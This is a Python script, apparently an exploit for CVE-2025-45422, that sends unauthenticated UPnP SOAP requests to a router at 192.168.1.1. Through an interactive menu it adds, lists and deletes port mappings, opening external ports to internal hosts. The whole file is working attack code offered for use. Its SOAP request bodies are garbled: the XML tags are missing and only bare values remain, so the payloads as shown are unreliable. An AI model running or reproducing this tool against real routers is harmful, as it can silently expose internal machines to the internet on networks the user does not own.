import pycurl from io import BytesIO import io import xml.etree.ElementTree as ET ns = { 's': 'http://schemas.xmlsoap.org/soap/envelope/', 'u': 'urn:schemas-upnp-org:service:WANPPPConnection:1' } def add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try): if not ports_to_try: print("Error: Could not add port mapping. All attempts failed.") return port = ports_to_try[0] url = f"http://192.168.1.1:{port}/upnp/control/WANPPPConn0" print("Trying URL:", url) if protocol.lower() == "t": proto = "TCP" else: proto = "UDP" body = f""" {externalPort} {proto} {internalPort} {localIP} 1 {description} {lease} """ buffer = BytesIO() c = pycurl.Curl() c.setopt(pycurl.URL, url) c.setopt(pycurl.POST, 1) c.setopt(pycurl.POSTFIELDS, body) c.setopt(pycurl.HTTPHEADER, [ "User-Agent: CVE-2025-45422", "Content-Type: text/xml; charset=\"utf-8\"", "SOAPAction: \"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping\"", "Connection: close", "Cache-Control: no-cache" ]) c.setopt(pycurl.WRITEFUNCTION, buffer.write) try: c.perform() response_code = c.getinfo(pycurl.RESPONSE_CODE) if response_code == 200 or response_code == 404: print(":---------------------------------:") print(" PORT MAPPING ADDED SUCCESSFULLY") print(":---------------------------------:") else: print(f"Error: {response_code}, trying next port") add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try[1:]) # if first port failed, try the next one except pycurl.error as e: print(f"Request failed: {e}, trying next port") add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try[1:]) finally: c.close() def get_port_mapping(index, base_port=49152): # change this to 49153 if it doesn't work buffer = io.BytesIO() c = pycurl.Curl() url = f"http://192.168.1.1:{base_port}/upnp/control/WANPPPConn0" c.setopt(c.URL, url) c.setopt(c.POST, 1) c.setopt(c.SSL_VERIFYPEER, 0) c.setopt(c.SSL_VERIFYHOST, 0) headers = [ 'Content-Type: text/xml; charset="utf-8"', 'SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetGenericPortMappingEntry"', ] c.setopt(c.HTTPHEADER, headers) data = f''' {index} ''' c.setopt(c.POSTFIELDS, data) c.setopt(c.WRITEDATA, buffer) try: c.perform() body = buffer.getvalue() root = ET.fromstring(body) response = root.find('.//u:GetGenericPortMappingEntryResponse', ns) if response is None: return None values = { child.tag.split('}', 1)[-1] if '}' in child.tag else child.tag: child.text for child in response } return values except: return None finally: c.close() def delete_port_mapping(external_port, protocol, base_port=49152): buffer = io.BytesIO() c = pycurl.Curl() url = f"http://192.168.1.1:{base_port}/upnp/control/WANPPPConn0" c.setopt(c.URL, url) c.setopt(c.POST, 1) c.setopt(c.SSL_VERIFYPEER, 0) c.setopt(c.SSL_VERIFYHOST, 0) headers = [ 'Content-Type: text/xml; charset="utf-8"', 'SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#DeletePortMapping"', ] c.setopt(c.HTTPHEADER, headers) data = f''' {external_port} {protocol} ''' c.setopt(c.POSTFIELDS, data) c.setopt(c.WRITEDATA, buffer) try: c.perform() return True except: return False finally: c.close() if __name__ == "__main__": ports_to_try = [49152, 49153] + list(range(49150, 49160)) # make sure 49152 and 49153 are tried first ports_to_try = list(dict.fromkeys(ports_to_try)) # remove duplicates number = input("[1] Add a PortMapping\n[2] List PortMappings + option to delete one\n'1' or '2': ") number = int(number) if number.isdigit() else 0 if number == 0: print("Faulty number given. Quitting...") quit() elif number == 1: print("ADD PORT MAPPING SELECTED") localIP = input("Local IP: ") externalPort = input("External port to open: ") internalPort = input("Internal port to map to: ") description = input("Description: ") protocol = input("Protocol (t or u): ") lease = input("Do you want a removal time (seconds), default is no: ") lease = int(lease) if lease.isdigit() else 0 add_upnp_port_mapping(localIP, description, int(externalPort), int(internalPort), protocol, lease, ports_to_try) elif number == 2: default_limit = 70 try: limit = int(input(f"Scan the first ... port mappings (default {default_limit}): ") or default_limit) except ValueError: limit = default_limit def try_list_with_base_port(base_port): found_mappings = [] empty_count = 0 max_empty = 5 # stop after 5 consecutive empty entries for i in range(limit + 1): mapping = get_port_mapping(i, base_port) if mapping: found_mappings.append(mapping) empty_count = 0 print(f"[{i}] ExternalPort:{mapping['NewExternalPort']} -> {mapping['NewInternalClient']}:{mapping['NewInternalPort']} ({mapping['NewProtocol']})| Description:{mapping['NewPortMappingDescription']} | LeaseDuration:{mapping['NewLeaseDuration']} | Enabled:{mapping['NewEnabled']}") else: empty_count += 1 if empty_count >= max_empty: # stop scanning if several consecutive empty slots are found break return found_mappings # try base port 49152 first found_mappings = try_list_with_base_port(49152) # fallback to 49153 if nothing found if not found_mappings: print("No port mappings found with base port 49152, trying 49153...") found_mappings = try_list_with_base_port(49153) if not found_mappings: print("No port mappings found with base port 49153 either. Exiting.") quit() while True: user_input = input("Enter ID to delete, 'r' to relist, or 'q' to quit: ") if user_input == 'q': break if user_input == 'r': found_mappings = try_list_with_base_port(49152) if not found_mappings: print("No port mappings found with base port 49152, trying 49153 ...") found_mappings = try_list_with_base_port(49153) if not found_mappings: print("No port mappings found with base port 49153 either.") continue continue if user_input not in ('q', 'r') and not user_input.isdigit(): print("Please fill in a number, or 'q' or 'r'") continue index = int(user_input) if index < 0 or index >= len(found_mappings): # Check whether number is in bounds of found_mappings print("Number out of bounds.") continue print(f"--------------------------------------------------------------------------------------------------------------\nSelected:[{index}] - ExternalPort:{found_mappings[index]['NewExternalPort']} -> {found_mappings[index]['NewInternalClient']}:{found_mappings[index]['NewInternalPort']} ({found_mappings[index]['NewProtocol']}) | Description:{found_mappings[index]['NewPortMappingDescription']} | LeaseDuration:{found_mappings[index]['NewLeaseDuration']} | Enabled:{found_mappings[index]['NewEnabled']}\n--------------------------------------------------------------------------------------------------------------") confirmation = input("Confirmation, do you want to delete the rule: y or n:").strip().lower() if confirmation == "y": # Try delete on both ports to be sure success = delete_port_mapping(found_mappings[index]['NewExternalPort'], found_mappings[index]['NewProtocol'], 49152) or delete_port_mapping(found_mappings[index]['NewExternalPort'], found_mappings[index]['NewProtocol'], 49153) if success: print(f"Deleted port mapping {found_mappings[index]['NewProtocol']} {found_mappings[index]['NewExternalPort']}") else: print("Failed to delete port mapping.") else: print("UPnP rule not deleted") else: print("Please input one of the given numbers.") quit()